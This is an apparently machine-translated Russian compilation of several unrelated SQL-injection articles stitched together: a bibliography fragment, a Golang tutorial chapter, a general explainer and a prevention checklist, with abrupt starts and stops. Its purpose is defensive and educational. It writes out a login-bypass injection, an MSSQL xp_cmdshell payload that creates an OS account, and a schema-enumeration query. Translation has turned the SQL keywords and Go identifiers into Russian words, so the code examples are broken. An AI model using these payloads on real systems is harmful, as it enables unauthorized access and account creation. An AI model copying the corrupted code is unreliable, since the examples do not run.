Как только злоумышленник обнаруживает, что сайт подвержен слепому внедрению SQL-кода, эксплуатация может продолжаться с использованием установленных методов.
Список литературы
«Расширенное внедрение SQL в приложениях SQL Server», Крис Анли — NGSSoftware
[1] http://www.nextgenss.com/papers/advanced_sql_injection.pdf
«Более продвинутая SQL-инъекция», Крис Энли — NGSSoftware
[2] http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
«Дизассемблирование веб-приложений с сообщениями об ошибках ODBC», Дэвид Литчфилд — @stake
[3] http://www.nextgenss.com/papers/webappdis.doc
«Пошаговое руководство по внедрению SQL»
[4] http://www.securiteam.com/securityreviews/5DP0N1P76E.html
«Слепое внедрение SQL» — Imperva
[5] http://www.imperva.com/resources/adc/blind_sql_server_injection.html
«Уклонение от внедрения сигнатур SQL» — Imperva
[6] http: // www.imperva.com/resources/adc/sql_injection_signatures_evasion.html
«Введение в атаки с использованием SQL-инъекций для разработчиков Oracle» — Integrigy
[7] http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf
«Новые атаки усечения SQL и способы их предотвращения», Бала Нерумалла
[8] http://msdn.microsoft.com/en-us/magazine/cc163523.aspx
«CWE-89: Ошибка сохранения структуры SQL-запроса (также известная как« SQL-инъекция »)»
[9] http: // cwe.mitre.org/data/definitions/89.html
«CAPEC: SQL-инъекция»
[10] http://capec.mitre.org/data/definitions/66.html
«OWASP: SQL-инъекция»
[11] http://www.owasp.org/index.php/SQL_injection
«Список инцидентов веб-взлома: внедрение SQL»
[12] https://wasc-whid.dabbledb.com/page/wasc-whid/dXhcaNXd?filter33485=&filter33487=&filter33477=&filter38336=SQL+Injection#/filter38336:U1==========================
SQL-инъекция · Создание веб-приложения с помощью Golang
Что такое SQL-инъекция
Атаки
с использованием SQL-инъекций являются (как следует из названия) одним из многих типов атак с использованием сценариев.В веб-разработке это наиболее распространенная форма уязвимостей безопасности. Злоумышленники могут использовать его для получения конфиденциальной информации из баз данных, а аспекты атаки могут включать добавление пользователей в базу данных, экспорт личных файлов и даже получение наивысших системных привилегий для своих гнусных целей.
SQL-инъекция происходит, когда веб-приложения не эффективно фильтруют вводимые пользователем данные, оставляя дверь открытой для злоумышленников, чтобы отправить вредоносный код SQL-запроса на сервер.Приложения часто получают внедренный код как часть входных данных злоумышленника, что каким-то образом изменяет логику исходного запроса. Когда приложение пытается выполнить запрос, вместо него выполняется вредоносный код злоумышленника.
Примеры SQL-инъекций
Многие веб-разработчики не понимают, как можно подделать SQL-запросы, и могут ошибочно полагать, что это команды, которым доверяют. Как всем известно, запросы SQL могут обойти контроль доступа, тем самым минуя стандартные проверки аутентификации и авторизации.Более того, можно запускать SQL-запросы с помощью команд на уровне хост-системы.
Давайте рассмотрим несколько реальных примеров, чтобы подробно объяснить процесс SQL-инъекции.
Рассмотрим следующую простую форму входа:
Наша обработка формы может выглядеть так:
имя пользователя: = r.Form.Get ("имя пользователя")
пароль: = r.Form.Get ("пароль")
sql: = "ВЫБРАТЬ * ОТ пользователя ГДЕ имя пользователя = '" + имя пользователя + "' И пароль = '" + пароль + "'"
Если пользователь вводит имя пользователя или пароль как:
myuser 'или' foo '=' foo '-
Тогда наш SQL станет следующим:
ВЫБРАТЬ * ОТ пользователя ГДЕ username = 'myuser' или 'foo' = 'foo' - '' И пароль = 'xxx'
В SQL все, что находится после -
, является комментарием.Таким образом, вставка -
, как это сделал злоумышленник, изменяет запрос фатальным образом, позволяя злоумышленнику успешно войти в систему как пользователь без действительного пароля.
Для инъекций MSSQL SQL существуют гораздо более опасные эксплойты, и некоторые из них могут даже выполнять системные команды. Следующие примеры продемонстрируют, насколько ужасными могут быть SQL-инъекции в некоторых версиях баз данных MSSQL.
sql: = "ВЫБРАТЬ * ИЗ продуктов, ГДЕ имя LIKE '%" + prod + "%'"
Db.Exec (sql)
Если злоумышленник отправит % 'exec master..xp_cmdshell 'net user test testpass / ADD' -
в качестве переменной «prod», тогда sql станет
sql: = "ВЫБРАТЬ * ИЗ продуктов, ГДЕ имя LIKE '% a%' exec master..xp_cmdshell 'net user test testpass / ADD' -% '"
Сервер MSSQL выполняет инструкцию SQL, включая команды в пользовательской переменной «prod», которая добавляет новых пользователей в систему. Если эта программа запускается как есть и служба MSSQLSERVER имеет достаточные привилегии, злоумышленник может зарегистрировать системную учетную запись для доступа к этому компьютеру.
Хотя приведенные выше примеры привязаны к конкретной системе баз данных, это не означает, что другие системы баз данных не могут подвергаться атакам аналогичного типа. Принципы, лежащие в основе атак с использованием SQL-инъекций, остаются теми же, хотя методы их совершения могут отличаться.
Как предотвратить SQL-инъекцию
Вы могли подумать, что злоумышленник должен знать информацию о структуре целевой базы данных, чтобы провести атаку с использованием SQL-инъекции.Хотя это правда, трудно гарантировать, что злоумышленник не сможет найти эту информацию, и как только они ее получат, база данных может быть скомпрометирована. Если вы используете программное обеспечение с открытым исходным кодом для доступа к базе данных, например приложение форума, злоумышленники могут легко получить соответствующий код. Очевидно, что при плохо спроектированном коде риски безопасности еще больше. Discuz, phpwind и phpcms — это некоторые примеры популярных программ с открытым исходным кодом, которые были уязвимы для атак с использованием SQL-инъекций.
Эти атаки происходят с системами, в которых меры безопасности не имеют приоритета.Мы уже говорили об этом раньше, скажем еще раз: никогда не доверяйте никакому вводу, особенно данным пользователя. Сюда входят данные, поступающие из полей выбора, скрытых полей ввода или файлов cookie. Как показал наш первый пример выше, даже предположительно нормальные запросы могут вызвать катастрофу.
Атаки
SQL-инъекций могут быть разрушительными — как мы можем даже начать защищаться от них? Следующие предложения являются хорошей отправной точкой для предотвращения внедрения SQL-кода:
- Строго ограничивайте разрешения для операций с базой данных, чтобы пользователи имели только минимальный набор разрешений, необходимых для выполнения их работы, тем самым сводя к минимуму риск атак путем внедрения базы данных.
- Убедитесь, что входные данные имеют ожидаемый формат данных, и строго ограничьте типы переменных, которые могут быть отправлены. Это может включать сопоставление регулярных выражений или использование пакета strconv для преобразования строк в другие базовые типы для очистки и оценки.
- Перекодируйте или экранируйте пары специальных символов (‘»\ & *; и т. Д.) Перед их сохранением в базе данных. Пакет
text / template
Go имеет функциюHTMLEscapeString
, которую можно использовать для возврата экранированного HTML. - Используйте параметризованный интерфейс запросов к базе данных. Параметризованные операторы используют параметры вместо объединения переменных, вводимых пользователем, во встроенных операторах SQL; другими словами, они не объединяют операторы SQL напрямую. Например, используя функцию
Prepare
в пакете Go’sdatabase / sql
, мы можем создавать подготовленные операторы для последующего выполнения с помощьюQuery
илиExec (строка запроса, аргументы ... интерфейс {})
. - Перед выпуском приложения тщательно протестируйте его с помощью профессиональных инструментов для обнаружения уязвимостей SQL-инъекций и устранения их, если они существуют.Есть много онлайн-инструментов с открытым исходным кодом, которые делают именно это, например sqlmap, SQLninja и многие другие.
- Избегайте распечатки информации об ошибках SQL на общедоступных веб-страницах. Злоумышленники могут использовать эти сообщения об ошибках для проведения атак с использованием SQL-инъекций. Примерами таких ошибок являются ошибки типа, ошибки несоответствия полей или любые ошибки, содержащие операторы SQL.
Сводка
Из приведенных выше примеров мы узнали, что SQL-инъекция — очень реальная и очень опасная уязвимость веб-безопасности.Когда мы пишем веб-приложение, мы должны обращать внимание на каждую мелочь и относиться к вопросам безопасности с максимальной осторожностью. Это приведет к созданию лучших и более безопасных веб-приложений и, в конечном итоге, может стать решающим фактором в успешности вашего приложения.
Ссылки
SQL-инъекций | Пример и предотвращение атаки SQLi
Безопасность веб-сайтов — главная забота предприятий, аналитиков безопасности и пользователей. Почему? Каждый хочет чувствовать, что отправка перевода финансового баланса или просмотр их медицинских записей безопасны и защищены от несанкционированного доступа со стороны хакеров и киберпреступников.
К сожалению, это не всегда так, как показал проект Open Web Application Security Project (OWASP), поместив инъекцию в верхнюю часть своего списка 10 основных рисков безопасности приложений. Внедрение — в том числе SQL-инъекция — может вызвать множество проблем как для бизнеса, так и для потребителей, например:
- Потеря, раскрытие или повреждение данных в базах данных
- Ущерб или манипулирование веб-сайтом
- Внедрение вредоносного кода в приложение
В 2019 году количество уязвимостей SQL в экосистеме Java уменьшилось, другая тенденция наблюдается в PHP .
Источник: Отчет о состоянии безопасности с открытым исходным кодом 2020, подготовленный Snyk.
Хотя общее количество новых уязвимостей SQL в 2019 году было небольшим, внедрение SQL может оказаться очень эффективным. Следовательно, очень важно знать, что такое SQL-инъекция и как она работает? Давай узнаем больше.
Что такое SQL-инъекция?
SQL Injection — иногда называемый просто SQLi — это распространенный метод, используемый злоумышленниками для манипулирования и доступа к информации базы данных, которая в противном случае не была бы отображена или предоставлена пользователю веб-сайта.
Это достигается за счет использования уязвимостей приложений для внедрения вредоносного кода SQL, который изменяет запросы SQL для извлечения и даже изменения или удаления данных, на которые зарегистрированный пользователь не имеет полномочий.
Что такое запросы SQL?
SQL (язык структурированных запросов) используется для взаимодействия с базой данных и общими операторами, такими как select, insert, delete, update и другие. Многие популярные структуры баз данных (Oracle, Access, Microsoft SQL Server и другие) доступны с помощью команд SQL, хотя каждая из них также предоставляет дополнительные проприетарные функции.
SQL-запросы — это команды SQL, которые включают такие параметры, как выполняемые действия с базой данных, включаемый контент и применяемые фильтры. Простой пример:
ВЫБРАТЬ * ИЗ РАСЧЕТА
WHERE status = ’active’
Заказ по штатам, город
Эта команда выберет все записи из таблицы PAYROLL, в которой активен статус сотрудника, и отсортирует результаты по штатам, а затем по городам.
Используя методы SQL-инъекции, хакер может изменить SQL-запрос, чтобы удалить «активные» критерии выбора и получить доступ ко всем сотрудникам в базе данных PAYROLL, или, что еще хуже, изменить команду SELECT на DELETE.
Что такое атака с использованием SQL-инъекции?
Хакеры, запускающие атаку с использованием SQL-инъекции, просто изменяют существующую команду SQL в соответствии со своими потребностями. Многие веб-приложения используют операторы SQL для всего, от предоставления списка клиентов до идентификации посетителей с помощью имен пользователей и паролей в базе данных на стороне сервера.
Изменяя команду SQL для снятия ограничений, таких как сканирование уязвимостей только для активных сотрудников или сотрудников определенного отдела, к которому у пользователя есть доступ, атака с использованием SQL-инъекции может вернуть информацию обо всех сотрудниках. Это может привести к раскрытию личной информации, которая должна быть ограничена.
Команды
SQL — это очень мощные функции в приложениях веб-сайтов, используемые для поиска, проверки и хранения данных в серверных базах данных. Обладая всеми возможностями SQL и SQL-запросов, хакеры используют эту уязвимость для кражи и повреждения данных и даже внедрения вредоносных команд в серверные базы данных.
Какие бывают типы SQL-инъекций?
Хакеры очень изобретательно используют потенциал SQL-инъекций. Когда выясняется, что веб-сайт уязвим для атак с использованием SQL-инъекций, злоумышленник воспользуется преимуществом любым количеством способов:
Управление логикой веб-приложений
Изменение команды SQL для выполнения совершенно другой функции, не предназначенной разработчиком. Атака с использованием SQL-инъекции может включать в себя процедуру входа в систему, которая проверяет информацию о пользователе и пароле в базе данных сервера.Удалив требование сопоставления пароля из команды SQL, злоумышленник может успешно войти в приложение без пароля.
Получение скрытых или несанкционированных данных
Удаление фильтров или добавление полей данных, набор результатов может дать хакеру множество преимуществ.
Например, хакеру могут быть возвращены данные, к которым приложение не могло получить доступ. Изменение запрошенных полей из таблицы может привести к возврату других полей, независимо от того, имеет ли пользователь надлежащие права для просмотра информации.
UNION Инъекционные атаки
Атака с использованием UNION-инъекции позволяет злоумышленнику добавить второй запрос к запросу приложения. Это может предоставить злоумышленнику доступ к данным из совершенно иных таблиц базы данных, чем предполагал разработчик.
Изучение / извлечение базы данных
Этот тип атаки с использованием SQL-инъекции позволяет злоумышленнику получить информацию о типе и структуре базы данных, которая может быть полезна для дополнительных манипуляций или извлечения данных.Например:
ВЫБРАТЬ * из information_schema.tables
Использование этой команды предоставит злоумышленнику список таблиц базы данных, включая информацию о полях, что очень полезно для дальнейшего использования и повреждения таблиц или содержимого.
Слепое внедрение SQL
Принятие на себя функций приложения с помощью атаки слепого внедрения SQL не приводит к возврату данных пользователю, а скорее заставляет приложение сбой, вставляя задержки в ответ, выполняя некорректные функции, такие как деление на ноль, или другие действия.
Слепые SQL-инъекции также могут использоваться для извлечения неавторизованных данных, но этот метод несколько сложнее, чем другие методы. Существует множество инструментов, которые помогают автоматизировать этот процесс и упростить его для злоумышленников.
Как и почему выполняются SQL-инъекции?
SQL-инъекция — один из наиболее распространенных методов извлечения неавторизованных данных с коммерческих сайтов. В результате большая часть данных попадает в руки кибер-похитителей из-за кражи личных данных или попыток вымогательства в отношении предприятий.
Атаки программ-вымогателей могут быть инициированы посредством атак с использованием SQL-инъекций, которые незаметно внедряют вредоносный код или команды в базы данных.
Как предотвратить внедрение SQL?
Внедрите брандмауэр веб-приложений (WAF), который может обнаруживать и отфильтровывать атаки SQL-инъекций (наряду с другими уязвимостями). Такие брандмауэры отсеивают известные угрозы с помощью списков сигнатур, которые должны быть заблокированы и постоянно обновляются.
Наиболее распространенный метод предотвращения внедрения SQL-кода — это использование более контролируемого способа кодирования SQL-запросов с параметрами.Этот метод, часто называемый параметризованными запросами или подготовленными операторами, использует предварительно определенный запрос с параметрами фильтрации, предоставленными как параметры, а не структурирует команду строго на основе содержимого, вводимого пользователем.
Внедрение системы обнаружения вторжений может помочь выявить поведение пользователей, пытающихся использовать уязвимости в приложениях.
Применение передового опыта в разработке веб-приложений и проведение тестов SQL-инъекций в качестве интегрированного шага в разработке обеспечит лучшую защиту от уязвимости SQL-инъекций.Автоматизация инструментов статического (SAST) и динамического (DAST) анализа в конвейер разработки — эффективный способ выполнить этот дополнительный уровень тестирования.
Руководство по атаке с использованием SQL-инъекции — что это такое и как ее предотвратить
В приведенном выше примере, даже если переменные имени пользователя или пароля попытаются уйти от своего запроса, подготовленные операторы будут правильно экранировать свои символы, что предотвратит любое неожиданное поведение или атака (например, SQL-инъекция).
Хранимые процедуры
Хранимые процедуры — это часто используемые операции, хранящиеся в базе данных, которые варьируются только с помощью аргументов. Кроме того, хранимые процедуры усложняют злоумышленникам выполнение любых вредоносных SQL-запросов, поскольку невозможно динамически вставлять что-либо в запросы.
Проверка ввода списка разрешений
Установите правило не доверять данным, предоставленным пользователем. Выполните проверку списка разрешений для тестирования пользовательского ввода с существующими, известными, утвержденными и заданными данными.И всякий раз, когда вы получаете какие-либо данные, которые не соответствуют заданным значениям, отклоняйте их, поскольку они окажутся полезными для защиты вашего веб-приложения или веб-сайта от попыток вредоносных SQL-инъекций.
Другими словами, все типы пользовательского ввода в запросе SQL подвержены риску внедрения SQL-кода. Поэтому рекомендуется не доверять вводимым пользователем данным и вместо этого обращаться со всеми типами ввода, включая аутентифицированный или внутренний ввод пользователя, как с общедоступными вводами.
Принцип наименьших привилегий
Как следует из названия, предоставьте средства управления доступом в соответствии с ролью.Избегайте предоставления доступа администраторам любого типа к учетным записям приложений. Это поможет вашему сайту предотвратить угрозы безопасности. И, чтобы реализовать такой принцип и защитить ваш сайт от SQL-инъекций, вы можете предпринять следующие шаги:
- Предоставить доступ на определенный период времени. Например, пока данное действие не будет выполнено.
- Запретить предоставление любого типа прав доступа, которые необходимо предоставить администратору.
- Минимизируйте доступ ко всем учетным записям базы данных, присутствующим в вашей среде.
- Предоставлять привилегии в зависимости от задач, которые необходимо выполнить.
Обучение безопасности и повышение осведомленности
Проведите соответствующее обучение по вопросам безопасности для всех ваших разработчиков, DevOps, системных администраторов и сотрудников отдела контроля качества. Это поможет защитить ваше веб-приложение, так как каждый получит надлежащее обучение и инструкции по рискам, связанным с SQL-инъекциями.
Обновление с использованием новейших технологий
Избегайте использования старых технологий веб-разработки, поскольку они не имеют защиты SQLi.Вместо этого рекомендуется использовать новейшую среду разработки, язык и новейшие технологии, связанные с ним. Например, в PHP используйте PDO, а не MySQLi.
Избегайте черных списков и используйте белые списки
Запрещает фильтрацию пользовательского ввода на основе черных списков, потому что опытные злоумышленники в основном находят способ обойти черные списки. Вместо этого попробуйте проверять и фильтровать вводимые пользователем данные с помощью строгих белых списков.
Использовать Waf (брандмауэр веб-приложений)
Развертывание брандмауэра веб-приложений — один из проверенных методов защиты вашего сайта от сетевых атак.Например, WAF, основанный на строгих правилах, может эффективно обнаруживать и предотвращать атаки, такие как внедрение SQL и другие новые уязвимости.
Предотвращение отображения ошибок базы данных
Рекомендуется избегать отображения ошибок базы данных для пользователей, поскольку злоумышленник может использовать такие сообщения об ошибках для получения информации из базы данных, которая может привести к успешной атаке с использованием SQL-инъекции.
Обновите базу данных с помощью последних исправлений
Обновите свою базу данных всеми последними исправлениями, поскольку это помогает предотвратить использование злоумышленниками ошибок или любых уязвимостей, присутствующих в старых версиях.
Запретить сохранение данных в виде обычного текста
Предотвратите хранение данных в виде открытого текста и вместо этого зашифруйте важные данные, которые хранятся в базе данных, и сохраните все зашифрованные хэши, так как это работает как расширенный метод защиты, если злоумышленник успешно получает доступ к вашим важным данным.
Регулярно сканировать
SQL Injection может быть введен вашим разработчиком или через любые внешние модули, библиотеки или программное обеспечение.